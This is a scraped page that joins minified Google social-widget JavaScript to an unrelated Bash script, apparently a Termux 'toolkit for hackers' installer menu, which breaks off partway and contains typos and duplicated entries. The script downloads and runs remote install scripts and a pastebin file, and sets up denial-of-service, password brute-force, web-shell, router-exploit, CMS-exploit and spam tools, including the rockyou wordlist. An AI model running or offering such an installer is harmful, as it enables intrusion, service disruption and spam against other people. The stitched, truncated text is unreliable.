0)}catch(t){_.ue(t);return}e=[];for(c in a){d=a[c];var q=0;for(b=d.length;q<b;q++)f=d[q],dq(c,f,Np(f), e,b)}}; var fq=function(a,b){var c=up(a);b&&c?(c(b),(c=b.iframeNode)&&c.setAttribute("data-gapiattached",!0)):_.Wd.load(a,function(){var c=up(a),e=b&&b.iframeNode,f=b&&b.userParams;e&&c?(c(b),e.setAttribute("data-gapiattached",!0)):(c=_.Wd[a].go,"signin2"==a?c(e,f):c(e&&e.parentNode,f))})},dq=function(a,b,c,d,e,f,h){switch(gq(b,a,f)){case 0:a=Yp[a]?a+"_annotation":a;d={};d.iframeNode=b;d.userParams=c;fq(a,d);break;case 1:if(b.parentNode){for(var k in c){if(f=_.Ud(c,k))f=c[k],f=!!f&&"object"===typeof f&&(!f.toString|| f.toString===Object.prototype.toString||f.toString===Array.prototype.toString);if(f)try{c[k]=_.df(c[k])}catch(F){delete c[k]}}k=!0;c.dontclear&&(k=!1);delete c.dontclear;var l;f={};var n=l=a;"plus"==a&&c.action&&(l=a+"_"+c.action,n=a+"/"+c.action);(l=_.H("iframes/"+l+"/url"))||(l=":im_socialhost:/:session_prefix::im_prefix:_/widget/render/"+n+"?usegapi=1");for(p in Gp)f[p]=p+"/"+(c[p]||Gp[p])+"/";var p=_.mn(_.Qd,l.replace(_.Fn,vp(f)));n="iframes/"+a+"/params/";f={};_.Vd(c,f);(l=_.H("lang")||_.H("gwidget/lang"))&& (f.hl=l);Hp[a]||(f.origin=_.Bp());f.exp=_.H(n+"exp");if(n=_.H(n+"location"))for(l=0;l<n.length;l++){var q=n[l];f[q]=_.Nd.location[q]}switch(a){case "plus":case "follow":f.url=_.Fp(f.href,c,null);delete f.href;break;case "plusone":n=(n=c.href)?zp(n):Ap();f.url=n;f.db=_.Dp(c.db,void 0,_.H());f.ecp=_.Ep(c.ecp,void 0,_.H());delete f.href;break;case "signin":f.url=Ap()}_.ce.ILI&&(f.iloader="1");delete f["data-onload"];delete f.rd;for(var t in Gp)f[t]&&delete f[t];f.gsrc=_.H("iframes/:source:");t=_.H("inline/css"); "undefined"!==typeof t&&0<e&&t>=e&&(f.ic="1");t=/^#|^fr-/;e={};for(var x in f)_.Ud(f,x)&&t.test(x)&&(e[x.replace(t,"")]=f[x],delete f[x]);x="q"==_.H("iframes/"+a+"/params/si")?f:e;t=_.yp();for(var v in t)!_.Ud(t,v)||_.Ud(f,v)||_.Ud(e,v)||(x[v]=t[v]);v=[].concat(Jp);x=_.H("iframes/"+a+"/methods");_.Wm(x)&&(v=v.concat(x));for(y in c)_.Ud(c,y)&&/^on/.test(y)&&("plus"!=a||"onconnect"!=y)&&(v.push(y),delete f[y]);delete f.callback;e._methods=v.join(",");var y=_.ln(p,f,e);v=h||{};v.allowPost=1;v.attributes= Ip;v.dontclear=!k;h={};h.userParams=c;h.url=y;h.type=a;_.Pp(a,b,c,y,v,h);b=h.id;c=_.D();c.id=b;c.userParams=h.userParams;c.url=h.url;c.type=h.type;c.state=1;_.fp[b]=c;b=h}else b=null;b&&((c=b.id)&&d.push(c),fq(a,b))}},gq=function(a,b,c){if(a&&1===a.nodeType&&b){if(c)return 1;if(Yp[b]){if(sp[a.nodeName.toLowerCase()])return(a=a.innerHTML)&&a.replace(/^[\s\xa0]+|[\s\xa0]+$/g,"")?0:1}else{if(Xp[b])return 0;if(Wp[b])return 1}}return null}; _.Td(_.Wd,"platform",{}).go=function(a,b){eq(a,b)};var hq=_.Td(_.ce,"perf",_.D()),bq=_.Td(hq,"g",_.D()),iq=_.Td(hq,"i",_.D()),jq,kq,lq,cq,nq,oq,pq;_.Td(hq,"r",[]);jq=_.D();kq=_.D();lq=function(a,b,c,d){jq[c]=jq[c]||!!d;_.Td(kq,c,[]);kq[c].push([a,b])};cq=function(a,b,c){var d=hq.r;"function"===typeof d?d(a,b,c):d.push([a,b,c])};nq=function(a,b,c,d){if("_p"==b)throw Error("S");_.mq(a,b,c,d)};_.mq=function(a,b,c,d){oq(b,c)[a]=d||(new Date).getTime();cq(a,b,c)};oq=function(a,b){a=_.Td(iq,a,_.D());return _.Td(a,b,_.D())}; pq=function(a,b,c){var d=null;b&&c&&(d=oq(b,c)[a]);return d||bq[a]}; (function(){function a(a){this.t={};this.tick=function(a,b,c){this.t[a]=[void 0!=c?c:(new Date).getTime(),b];if(void 0==c)try{window.console.timeStamp("CSI/"+a)}catch(p){}};this.tick("start",null,a)}var b;if(window.performance)var c=(b=window.performance.timing)&&b.responseStart;var d=0<c?new a(c):new a;window.__gapi_jstiming__={Timer:a,load:d};if(b){var e=b.navigationStart;0<e&&c>=e&&(window.__gapi_jstiming__.srt=c-e)}if(b){var f=window.__gapi_jstiming__.load;0<e&&c>=e&&(f.tick("_wtsrt",void 0,e), f.tick("wtsrt_","_wtsrt",c),f.tick("tbsd_","wtsrt_"))}try{b=null,window.chrome&&window.chrome.csi&&(b=Math.floor(window.chrome.csi().pageT),f&&0<e&&(f.tick("_tbnd",void 0,window.chrome.csi().startE),f.tick("tbnd_","_tbnd",e))),null==b&&window.gtbExternal&&(b=window.gtbExternal.pageT()),null==b&&window.external&&(b=window.external.pageT,f&&0<e&&(f.tick("_tbnd",void 0,window.external.startE),f.tick("tbnd_","_tbnd",e))),b&&(window.__gapi_jstiming__.pt=b)}catch(h){}})(); if(window.__gapi_jstiming__){window.__gapi_jstiming__.AF={};window.__gapi_jstiming__.eY=1;var sq=function(a,b,c){var d=a.t[b],e=a.t.start;if(d&&(e||c))return d=a.t[b][0],e=void 0!=c?c:e[0],Math.round(d-e)};window.__gapi_jstiming__.getTick=sq;window.__gapi_jstiming__.getLabels=function(a){var b=[],c;for(c in a.t)b.push(c);return b};var tq=function(a,b,c){var d="";window.__gapi_jstiming__.srt&&(d+="&srt="+window.__gapi_jstiming__.srt);window.__gapi_jstiming__.pt&&(d+="&tbsrt="+window.__gapi_jstiming__.pt); try{window.external&&window.external.tran?d+="&tran="+window.external.tran:window.gtbExternal&&window.gtbExternal.tran?d+="&tran="+window.gtbExternal.tran():window.chrome&&window.chrome.csi&&(d+="&tran="+window.chrome.csi().tran)}catch(q){}var e=window.chrome;if(e&&(e=e.loadTimes)){e().wasFetchedViaSpdy&&(d+="&p=s");if(e().wasNpnNegotiated){d+="&npn=1";var f=e().npnNegotiatedProtocol;f&&(d+="&npnv="+(window.encodeURIComponent||window.escape)(f))}e().wasAlternateProtocolAvailable&&(d+="&apa=1")}var h= a.t,k=h.start;e=[];f=[];for(var l in h)if("start"!=l&&0!=l.indexOf("_")){var n=h[l][1];n?h[n]&&f.push(l+"."+sq(a,l,h[n][0])):k&&e.push(l+"."+sq(a,l))}if(b)for(var p in b)d+="&"+p+"="+b[p];(b=c)||(b="https:"==window.document.location.protocol?"https://csi.gstatic.com/csi":"http://csi.gstatic.com/csi");return[b,"?v=3","&s="+(window.__gapi_jstiming__.sn||"")+"&action=",a.name,f.length?"&it="+f.join(","):"",d,"&rt=",e.join(",")].join("")},uq=function(a,b,c){a=tq(a,b,c);if(!a)return"";b=new window.Image; var d=window.__gapi_jstiming__.eY++;window.__gapi_jstiming__.AF[d]=b;b.onload=b.onerror=function(){window.__gapi_jstiming__&&delete window.__gapi_jstiming__.AF[d]};b.src=a;b=null;return a};window.__gapi_jstiming__.report=function(a,b,c){var d=window.document.visibilityState,e="visibilitychange";d||(d=window.document.webkitVisibilityState,e="webkitvisibilitychange");if("prerender"==d){var f=!1,h=function(){if(!f){b?b.prerender="1":b={prerender:"1"};if("prerender"==(window.document.visibilityState|| window.document.webkitVisibilityState))var d=!1;else uq(a,b,c),d=!0;d&&(f=!0,window.document.removeEventListener(e,h,!1))}};window.document.addEventListener(e,h,!1);return""}return uq(a,b,c)}}; var vq={g:"gapi_global",m:"gapi_module",w:"gwidget"},wq=function(a,b){this.type=a?"_p"==a?"m":"w":"g";this.name=a;this.wo=b};wq.prototype.key=function(){switch(this.type){case "g":return this.type;case "m":return this.type+"."+this.wo;case "w":return this.type+"."+this.name+this.wo}}; var xq=new wq,yq=window.navigator.userAgent.match(/iPhone|iPad|Android|PalmWebOS|Maemo|Bada/),zq=_.Td(hq,"_c",_.D()),Aq=Math.random()<(_.H("csi/rate")||0),Cq=function(a,b,c){for(var d=new wq(b,c),e=_.Td(zq,d.key(),_.D()),f=kq[a]||[],h=0;h<f.length;++h){var k=f[h],l=k[0],n=a,p=b,q=c;k=pq(k[1],p,q);n=pq(n,p,q);e[l]=k&&n?n-k:null}jq[a]&&Aq&&(Bq(xq),Bq(d))},Dq=function(a,b){b=b||[];for(var c=[],d=0;d<b.length;d++)c.push(a+b[d]);return c},Bq=function(a){var b=_.Nd.__gapi_jstiming__;b.sn=vq[a.type];var c= new b.Timer(0);a:{switch(a.type){case "g":var d="global";break a;case "m":d=a.wo;break a;case "w":d=a.name;break a}d=void 0}c.name=d;d=!1;var e=a.key(),f=zq[e];c.tick("_start",null,0);for(var h in f)c.tick(h,"_start",f[h]),d=!0;zq[e]=_.D();d&&(h=[],h.push("l"+(_.H("isPlusUser")?"1":"0")),d="m"+(yq?"1":"0"),h.push(d),"m"==a.type?h.push("p"+a.wo):"w"==a.type&&(e="n"+a.wo,h.push(e),"0"==a.wo&&h.push(d+e)),h.push("u"+(_.H("isLoggedIn")?"1":"0")),a=Dq("",h),a=Dq("abc_",a).join(","),b.report(c,{e:a}))}; lq("blt","bs0","bs1");lq("psi","ps0","ps1");lq("rpcqi","rqe","rqd");lq("bsprt","bsrt0","bsrt1");lq("bsrqt","bsrt1","bsrt2");lq("bsrst","bsrt2","bsrt3");lq("mli","ml0","ml1");lq("mei","me0","me1",!0);lq("wcdi","wrs","wcdi");lq("wci","wrs","wdc");lq("wdi","wrs","wrdi");lq("wdt","bs0","wrdt");lq("wri","wrs","wrri",!0);lq("wrt","bs0","wrrt");lq("wji","wje0","wje1",!0);lq("wjli","wjl0","wjl1");lq("whi","wh0","wh1",!0);lq("wai","waaf0","waaf1",!0);lq("wadi","wrs","waaf1",!0);lq("wadt","bs0","waaf1",!0); lq("wprt","wrt0","wrt1");lq("wrqt","wrt1","wrt2");lq("wrst","wrt2","wrt3",!0);lq("fbprt","fsrt0","fsrt1");lq("fbrqt","fsrt1","fsrt2");lq("fbrst","fsrt2","fsrt3",!0);lq("fdns","fdns0","fdns1");lq("fcon","fcon0","fcon1");lq("freq","freq0","freq1");lq("frsp","frsp0","frsp1");lq("fttfb","fttfb0","fttfb1");lq("ftot","ftot0","ftot1",!0);var Eq=hq.r;if("function"!==typeof Eq){for(var Fq;Fq=Eq.shift();)Cq.apply(null,Fq);hq.r=Cq}; var Gq=["div"],Hq="onload",Iq=!0,Jq=!0,Kq=function(a){return a},Lq=null,Mq=function(a){var b=_.H(a);return"undefined"!==typeof b?b:_.H("gwidget/"+a)},hr,ir,jr,kr,ar,cr,lr,br,mr,nr,or,pr;Lq=_.H();_.H("gwidget");var Nq=Mq("parsetags");Hq="explicit"===Nq||"onload"===Nq?Nq:Hq;var Oq=Mq("google_analytics");"undefined"!==typeof Oq&&(Iq=!!Oq);var Pq=Mq("data_layer");"undefined"!==typeof Pq&&(Jq=!!Pq); var Qq=function(){var a=this&&this.ka();a&&(_.ce.drw=a)},Rq=function(){_.ce.drw=null},Sq=function(a){return function(b){var c=a;"number"===typeof b?c=b:"string"===typeof b&&(c=b.indexOf("px"),-1!=c&&(b=b.substring(0,c)),c=(0,window.parseInt)(b,10));return c}},Tq=function(a){"string"===typeof a&&(a=window[a]);return"function"===typeof a?a:null},Uq=function(){return Mq("lang")||"en-US"},Vq=function(a){if(!_.O.Bb("attach")){var b={},c=_.O.Bb("inline"),d;for(d in c)c.hasOwnProperty(d)&&(b[d]=c[d]);b.open= function(a){var b=a.Ob().renderData.id;b=window.document.getElementById(b);if(!b)throw Error("T");return c.attach(a,b)};_.O.Xb("attach",b)}a.style="attach"},Wq=function(){var a={};a.width=[Sq(450)];a.height=[Sq(24)];a.onready=[Tq];a.lang=[Uq,"hl"];a.iloader=[function(){return _.ce.ILI},"iloader"];return a}(),Zq=function(a){var b={};b.De=a[0];b.Bo=-1;b.D$="___"+b.De+"_";b.W_="g:"+b.De;b.o9="g-"+b.De;b.wK=[];b.config={};b.Vs=[];b.uM={};b.Ew={};var c=function(a){for(var c in a)if(_.Ud(a,c)){b.config[c]= [Tq];b.Vs.push(c);var d=a[c],e=null,l=null,n=null;"function"===typeof d?e=d:d&&"object"===typeof d&&(e=d.Y8,l=d.Xr,n=d.Mw);n&&(b.Vs.push(n),b.config[n]=[Tq],b.uM[c]=n);e&&(b.config[c]=[e]);l&&(b.Ew[c]=l)}},d=function(a){for(var c={},d=0;d<a.length;++d)c[a[d].toLowerCase()]=1;c[b.W_]=1;b.lW=c};a[1]&&(b.parameters=a[1]);(function(a){b.config=a;for(var c in Wq)Wq.hasOwnProperty(c)&&!b.config.hasOwnProperty(c)&&(b.config[c]=Wq[c])})(a[2]||{});a[3]&&c(a[3]);a[4]&&d(a[4]);a[5]&&(b.jk=a[5]);b.u$=!0===a[6]; b.EX=a[7];b.H_=a[8];b.lW||d(Gq);b.CB=function(a){b.Bo++;nq("wrs",b.De,String(b.Bo));var c=[],d=a.element,e=a.config,l=":"+b.De;":plus"==l&&a.hk&&a.hk.action&&(l+="_"+a.hk.action);var n=Xq(b,e),p={};_.Vd(_.yp(),p);for(var q in a.hk)null!=a.hk[q]&&(p[q]=a.hk[q]);q={container:d.id,renderData:a.$X,style:"inline",height:e.height,width:e.width};Vq(q);b.jk&&(c[2]=q,c[3]=p,c[4]=n,b.jk("i",c));l=_.O.open(l,q,p,n);Yq(b,l,e,d,a.GQ);c[5]=l;b.jk&&b.jk("e",c)};return b},Xq=function(a,b){for(var c={},d=a.Vs.length- 1;0<=d;--d){var e=a.Vs[d],f=b[a.uM[e]||e]||b[e],h=b[e];h&&f!==h&&(f=function(a,b){return function(c){b.apply(this,arguments);a.apply(this,arguments)}}(f,h));f&&(c[e]=f)}for(var k in a.Ew)a.Ew.hasOwnProperty(k)&&(c[k]=$q(c[k]||function(){},a.Ew[k]));c.drefresh=Qq;c.erefresh=Rq;return c},$q=function(a,b){return function(c){var d=b(c);if(d){var e=c.href||null;if(Iq){if(window._gat)try{var f=window._gat._getTrackerByName("~0");f&&"UA-XXXXX-X"!=f._getAccount()?f._trackSocial("Google",d,e):window._gaq&& window._gaq.push(["_trackSocial","Google",d,e])}catch(k){}if(window.ga&&window.ga.getAll)try{var h=window.ga.getAll();for(f=0;f<h.length;f++)h[f].send("social","Google",d,e)}catch(k){}}if(Jq&&window.dataLayer)try{window.dataLayer.push({event:"social",socialNetwork:"Google",socialAction:d,socialTarget:e})}catch(k){}}a.call(this,c)}},Yq=function(a,b,c,d,e){ar(b,c);br(b,d);cr(a,b,e);dr(a.De,a.Bo.toString(),b);(new er).Ya.Jk(a,b,c,d,e)},er=function(){if(!this.Ya){for(var a=this.constructor;a&&!a.Wm;)a= a.H&&a.H.constructor;a.Wm.lG||(a.Wm.lG=Tp(a));this.Ya=new a.Wm.lG(this);this.jz||(this.jz=Vp)}},fr=function(){},gr=er;fr.H||_.z(fr,Qp);gr.Wm=fr;fr.prototype.Jk=function(a){a=a?a:function(){};a.AJ=!0;return a}();hr=function(a){return _.zo&&"undefined"!=typeof _.zo&&a instanceof _.zo};ir=function(a){return hr(a)?"_renderstart":"renderstart"};jr=function(a){return hr(a)?"_ready":"ready"};kr=function(){return!0}; ar=function(a,b){if(b.onready){var c=!1,d=function(){c||(c=!0,b.onready.call(null))};a.register(jr(a),d,kr);a.register(ir(a),d,kr)}}; cr=function(a,b,c){var d=a.De,e=String(a.Bo),f=!1,h=function(){f||(f=!0,c&&nq("wrdt",d,e),nq("wrdi",d,e))};b.register(ir(b),h,kr);var k=!1;a=function(){k||(k=!0,h(),c&&nq("wrrt",d,e),nq("wrri",d,e))};b.register(jr(b),a,kr);hr(b)?b.register("widget-interactive-"+b.id,a,kr):_.K.register("widget-interactive-"+b.id,a);_.K.register("widget-csi-tick-"+b.id,function(a,b,c){"wdc"===a?nq("wdc",d,e,c):"wje0"===a?nq("wje0",d,e,c):"wje1"===a?nq("wje1",d,e,c):"wh0"==a?_.mq("wh0",d,e,c):"wh1"==a?_.mq("wh1",d,e, c):"wcdi"==a&&_.mq("wcdi",d,e,c)})};lr=function(a){return"number"==typeof a?a+"px":"100%"==a?a:null};br=function(a,b){var c=function(c){c=c||a;var d=lr(c.width);d&&b.style.width!=d&&(b.style.width=d);(c=lr(c.height))&&b.style.height!=c&&(b.style.height=c)};hr(a)?a.pL("onRestyle",c):(a.register("ready",c,kr),a.register("renderstart",c,kr),a.register("resize",c,kr))};mr=function(a,b){for(var c in Wq)if(Wq.hasOwnProperty(c)){var d=Wq[c][1];d&&!b.hasOwnProperty(d)&&(b[d]=a[d])}return b}; nr=function(a,b){var c={},d;for(d in a)a.hasOwnProperty(d)&&(c[a[d][1]||d]=(a[d]&&a[d][0]||Kq)(b[d.toLowerCase()],b,Lq));return c};or=function(a){if(a=a.EX)for(var b=0;b<a.length;b++)(new window.Image).src=a[b]};pr=function(a,b){var c=b.userParams,d=b.siteElement;d||(d=(d=b.iframeNode)&&d.parentNode);if(d&&1===d.nodeType){var e=nr(a.config,c);a.wK.push({element:d,config:e,hk:mr(e,nr(a.parameters,c)),X9:3,GQ:!!c["data-onload"],$X:b})}b=a.wK;for(a=a.CB;0<b.length;)a(b.shift())}; _.qr=function(a){var b=Zq(a);or(b);_.pn(b.De,function(a){pr(b,a)});Wp[b.De]=!0;var c={va:function(a,c,f){var d=c||{};d.type=b.De;c=d.type;delete d.type;var e=("string"===typeof a?window.document.getElementById(a):a)||void 0;if(e){a={};for(var l in d)_.Ud(d,l)&&(a[l.toLowerCase()]=d[l]);a.rd=1;(l=!!a.ri)&&delete a.ri;dq(c,e,a,[],0,l,f)}else _.ue("string"==="gapi."+c+".render: missing element "+typeof a?a:"")},go:function(a){eq(a,b.De)},Y9:function(){var a=_.Td(_.ce,"WI",_.D()),b;for(b in a)delete a[b]}}; a=function(){"onload"===Hq&&c.go()};tp(b.De)||rp(a,a);_.w("gapi."+b.De+".go",c.go);_.w("gapi."+b.De+".render",c.va);return c}; var rr=pr,sr=function(a,b){a.Bo++;nq("wrs",a.De,String(a.Bo));var c=b.userParams,d=nr(a.config,c),e=[],f=b.iframeNode,h=b.siteElement,k=Xq(a,d),l=nr(a.parameters,c);_.Vd(_.yp(),l);l=mr(d,l);c=!!c["data-onload"];var n=_.ao,p=_.D();p.renderData=b;p.height=d.height;p.width=d.width;p.id=b.id;p.url=b.url;p.iframeEl=f;p.where=p.container=h;p.apis=["_open"];p.messageHandlers=k;p.messageHandlersFilter=_.M;_.mp(p);f=l;a.jk&&(e[2]=p,e[3]=f,e[4]=k,a.jk("i",e));k=n.uj(p);k.id=b.id;k.aD(k,p);Yq(a,k,d,h,c);e[5]= k;a.jk&&a.jk("e",e)};pr=function(a,b){var c=b.url;a.H_||_.pp(c)?_.wo?sr(a,b):(0,_.Wj)("gapi.iframes.impl",function(){sr(a,b)}):_.O.open?rr(a,b):(0,_.Wj)("iframes",function(){rr(a,b)})}; var tr=function(){var a=window;return!!a.performance&&!!a.performance.getEntries},dr=function(a,b,c){if(tr()){var d=function(){var a=!1;return function(){if(a)return!0;a=!0;return!1}}(),e=function(){d()||window.setTimeout(function(){var d=c.Ha().src;var e=d.indexOf("#");-1!=e&&(d=d.substring(0,e));d=window.performance.getEntriesByName(d);1>d.length?d=null:(d=d[0],d=0==d.responseStart?null:d);if(d){e=Math.round(d.requestStart);var k=Math.round(d.responseStart),l=Math.round(d.responseEnd);nq("wrt0", a,b,Math.round(d.startTime));nq("wrt1",a,b,e);nq("wrt2",a,b,k);nq("wrt3",a,b,l)}},1E3)};c.register(ir(c),e,kr);c.register(jr(c),e,kr)}}; _.w("gapi.widget.make",_.qr); var ur,vr,wr,yr;ur=["left","right"];vr="inline bubble none only pp vertical-bubble".split(" ");wr=function(a,b){if("string"==typeof a){a=a.toLowerCase();var c;for(c=0;c<b.length;c++)if(b[c]==a)return a}};_.xr=function(a){return wr(a,vr)};yr=function(a){return wr(a,ur)};_.zr=function(a){a.source=[null,"source"];a.expandTo=[null,"expandTo"];a.align=[yr];a.annotation=[_.xr];a.origin=[_.Bp]}; _.O.NC("bubble",function(a){(0,_.Wj)("iframes-styles-bubble",a)}); _.O.NC("slide-menu",function(a){(0,_.Wj)("iframes-styles-slide-menu",a)}); _.w("gapi.plusone.render",_.TV);_.w("gapi.plusone.go",_.UV); var VV={tall:{"true":{width:50,height:60},"false":{width:50,height:24}},small:{"false":{width:24,height:15},"true":{width:70,height:15}},medium:{"false":{width:32,height:20},"true":{width:90,height:20}},standard:{"false":{width:38,height:24},"true":{width:106,height:24}}},WV={width:180,height:35},XV=function(a){return"string"==typeof a?""!=a&&"0"!=a&&"false"!=a.toLowerCase():!!a},YV=function(a){var b=(0,window.parseInt)(a,10);if(b==a)return String(b)},ZV=function(a){if(XV(a))return"true"},$V=function(a){return"string"== typeof a&&VV[a.toLowerCase()]?a.toLowerCase():"standard"},aW=function(a,b){return"tall"==$V(b)?"true":null==a||XV(a)?"true":"false"},bW=function(a,b){return VV[$V(a)][aW(b,a)]},cW=function(a,b,c){a=_.xr(a);b=$V(b);if(""!=a){if("inline"==a||"only"==a)return a=450,c.width&&(a=120<c.width?c.width:120),{width:a,height:VV[b]["false"].height};if("bubble"!=a){if("none"==a)return VV[b]["false"];if("pp"==a)return WV}}return VV[b]["true"]},dW={href:[_.Cp,"url"],width:[YV],size:[$V],resize:[ZV],autosize:[ZV], count:[function(a,b){return aW(b.count,b.size)}],db:[_.Dp],ecp:[_.Ep],textcolor:[function(a){if("string"==typeof a&&a.match(/^[0-9A-F]{6}$/i))return a}],drm:[ZV],recommendations:[],fu:[],ad:[ZV],cr:[YV],ag:[YV],"fr-ai":[],"fr-sigh":[]}; (function(){var a={0:"plusone"},b=_.H("iframes/plusone/preloadUrl");b&&(a[7]=b);_.zr(dW);a[1]=dW;a[2]={width:[function(a,b){return b.annotation?cW(b.annotation,b.size,b).width:bW(b.size,b.count).width}],height:[function(a,b){return b.annotation?cW(b.annotation,b.size,b).height:bW(b.size,b.count).height}]};a[3]={onPlusOne:{Xr:function(a){return"on"==a.state?"+1":null},Mw:"callback"},onstartinteraction:!0,onendinteraction:!0,onpopup:!0};a[4]=["div","button"];a=_.qr(a);_.UV=a.go;_.TV=a.va})(); }); // Google Inc.
satriobintang1bersaudara
#!/bin/bash # Auto Install Tools v.2.1 # recoded By Satrio Kusbiyantoro # gausah ganti copyright kalo mau di hargai :) # Bersihkan Layar clear blue='\e[0;34' cyan='\e[0;36m' green='\e[0;34m' okegreen='\033[92m' lightgreen='\e[1;32m' white='\e[1;37m' red='\e[1;31m' yellow='\e[1;33m' ################################################### # CTRL C ################################################### trap ctrl_c INT ctrl_c() { clear echo -e $red"[#]> (Ctrl + C ) Detected, Trying To Exit ... " sleep 1 echo "" echo -e $green"[#]> SMKN 1 Kertosono ... " sleep 1 echo "" echo -e $white"[#]> Satrio Kusbiyantoro Wuzz Here ... " read enter exit } echo -e $red" ___ ___ _______ ____ ____ " echo -e $red" / / \ | | | | | | echo -e $white" /__ /_____\ | | __| | | |" echo -e $white" / /_______\ | | \ | | |" echo -e $red" ___/ / \ | | \ | |____|" echo -e $red" ***********************************************" echo -e $white" # $red toolkit for hackers v2.1 $white #" echo -e $red" # $red happy fun guys $red #" echo -e $white" # $red contact: erik_susanto30@yahoo.com $white #" echo -e $red" # $white greetz :Kesendirian Nak SMKN 1 Kertosono $red#" echo -e $white" # $white copyright : Satrio Kusbiyantoro $white #" echo -e $red" # $white thanks to : SMKN 1 Kertosono $red #" echo -e $white" ***********************************************" echo "" echo -e $green" 01) Red Hawk" echo -e $green" 02) D-Tect" echo -e $green" 03) Hunner" echo -e $green" 04) WPScan" echo -e $green" 05) Webdav" echo -e $green" 06) Metasploit" echo -e $green" 07) Kali Nethunter" echo -e $green" 08) Ubuntu" echo -e $green" 09) viSQL " echo -e $green" 10) Ngrok" echo -e $green" 11) Torshammer " echo -e $green" 12) RouterSploit " echo -e $green" 13) Hydra " echo -e $green" 14) Weevely " echo -e $green" 15) SQLMap " echo -e $green" 16) Dirbuster " echo -e $green" 17) admin finder " echo -e $green" 18) lokomedia exploiter " echo -e $green" 19) elfinder exploiter " echo -e $green" 20) magento add admin exploiter " echo -e $green" 21) scanner tools " echo -e $green" 22) katoolin " echo -e $green" 23) arch linux " echo -e $green" 24) linux fedora" echo -e $green" 25) hash-buster" echo -e $green" 26) aircrack-ng" echo -e $green" 27) joomscan" echo -e $green" 28) mailer sender cli" echo -e $green" 29) Wordpress Brute Force" echo -e $green" 30) Oh-myzsh theme for termux" echo -e $green" 31) instabot (instagram bot)" echo -e $green" 32) fsociety" echo -e $green" 33) Cms Scanner" echo -e $green" 34) Information Gathering" echo -e $green" 35) com_fabrik exploiter" echo -e $green" 36) com foxcontact exploiter" echo -e $green" 37) installing ezsploit" echo -e $green" 38) installing spammer grab" echo -e $green" 39) installing spammer toko pedia" echo -e $green" 40) TheFatRat" echo -e $green" 41) exit" echo -e $green" 40) exit" echo -e $white"" read -p "[Satrio Kusbiyantoro]> " bct; if [ $bct = 01 ] || [ $bct = 01 ] then clear echo -e $green" Installing Red Hawk " sleep 1 apt update && apt upgrade apt install php apt install git git clone https://github.com/Tuhinshubhra/RED_HAWK echo -e $green" Done Install Cuk " fi if [ $bct = 02 ] || [ $bct = 02 ] then clear echo -e $green" Installing D-Tect " sleep 1 apt-get update && apt-get upgrade apt-get install git apt-get install python git clone https://github.com/shawarkhanethicalhacker/D-TECT echo -e $red" Done Install ^_^ " fi if [ $bct = 03 ] || [ $bct = 03 ] then clear echo -e $green" Installing Hunner " sleep 1 apt-get update && apt-get upgrade apt install python apt install git git clone https://github.com/b3-v3r/Hunner echo -e $red" Done Install ^_^ " fi if [ $bct = 04 ] || [ $bct = 04 ] then clear echo -e $green" Installing Wpscan " sleep 1 apt-get update && apt-get upgrade apt install ruby apt install curl apt install git git clone https://github.com/wpscanteam/wpscan cd ~/wpscan gem install bundle bundle config build.nokogiri --use-system-libraries bundle install ruby wpscan.rb --update cd ~/ echo -e $red" Done Install ^_^ " fi if [ $bct = 05 ] || [ $bct = 05 ] then clear echo -e $green" Installing Webdav " sleep 1 apt update && apt upgrade apt install python apt-get install python-pip pip2 install urllib3 chardet certifi idna requests apt install openssl curl pkg install libcurl mkdir webdav cd ~/webdav wget https://pastebin.com/raw/HnVyQPtR -O webdav.py chmod 777 webdav.py cd ~/ echo -e $red" Done Install ^_^ " fi if [ $bct = 06 ] || [ $bct = 06 ] then clear echo -e $green" Installing Metasploit " sleep 1 apt update && apt upgrade apt install git apt install wget wget https://raw.githubusercontent.com/verluchie/termux-metasploit/master/install.sh chmod 777 install.sh sh install.sh echo -e $red" Done Install ^_^ " fi if [ $bct = 07 ] || [ $bct = 07 ] then clear echo -e $green" Installing Kali Nethunter " sleep 1 apt update && apt upgrade apt install git git clone https://github.com/Hax4us/Nethunter-In-Termux.git cd ~/Nethunter-In-Termux chmod 777 kalinethunter sh kalinethunter echo -e $red" Done Install ^_^ " fi if [ $bct = 08 ] || [ $bct = 08 ] then clear echo -e $green" Installing Ubuntu " sleep 1 apt update && apt upgrade apt install git apt install wget apt install proot git clone https://github.com/Neo-Oli/termux-ubuntu.git cd ~/termux-ubuntu chmod +x ubuntu.sh sh ubuntu.sh echo " Fix network please wait " sleep 1 echo "nameserver 8.8.8.8" > /data/data/com.termux/files/home/termux-ubuntu/ubuntu-fs/etc/resolv.conf echo -e $red" Done Install ^_^ " fi if [ $bct = 09 ] || [ $bct = 09 ] then clear echo -e $green" Installing viSQL " sleep 1 apt update && apt upgrade pkg install git pkg install python git clone https://github.com/blackvkng/viSQL.git cd ~/viSQL chmod 777 viSQL.py cd ~/ echo -e $red" Done Install ^_^ " fi if [ $bct = 10 ] || [ $bct = 10 ] then clear echo -e $green" Installing Ngrok " sleep 1 apt install wget mkdir ngrok cd ~/ngrok wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip unzip ngrok-stable-linux-arm.zip cd ~/ echo -e $red" Done Install ^_^ " fi if [ $bct = 11 ] || [ $bct = 11 ] then clear echo -e $green" Installing Hammer " sleep 1 pkg update pkg upgrade pkg install python pkg install git git clone https://github.com/cyweb/hammer cd ~/ echo -e $red" Done Install ^_^ " fi if [ $bct = 12 ] || [ $bct = 12 ] then clear echo -e $green" Installing Routersploit " sleep 1 apt install git apt install python2 pip2 install requests git clone https://github.com/reverse-shell/routersploit.git cd routersploit pip install -r requirements.txt termux-fix-shebang rsf.py cd ~/ echo -e $red" Done Install ^_^ " fi if [ $bct = 13 ] || [ $bct = 13 ] then clear echo -e $green" Installing Hydra " sleep 1 apt update && apt install -y wget apt install hydra wget http://scrapmaker.com/download/data/wordlists/dictionaries/rockyou.txt cd ~/ echo -e $red" Done Install ^_^ " fi if [ $bct = 14 ] || [ $bct = 14 ] then clear echo -e $green" Installing Weevely " sleep 1 pkg update pkg upgrade git clone https://github.com/glides/Weevely cd ~/ echo -e $red" Done Install ^_^ " fi if [ $b ct = 15 ] || [ $bct = 15 ] then clear echo -e $green" Installing SQLMap " sleep 1 apt update && apt upgrade apt install python2 git clone https://github.com/sqlmapproject/sqlmap.git cd ~/ echo -e $red" Done Install ^_^ " fi if [ $bct = 16 ] || [ $bct = 16 ] then clear echo -e $green" Installing Dirbuster " sleep 1 apt-get update apt-get install python apt-get install git git clone https://github.com/maurosoria/dirsearch.git cd ~/ echo -e $red" Done Install ^_^ " fi if [ $bct = 17 ] || [ $bct = 17 ] then clear echo -e $green" Installing admin finder " 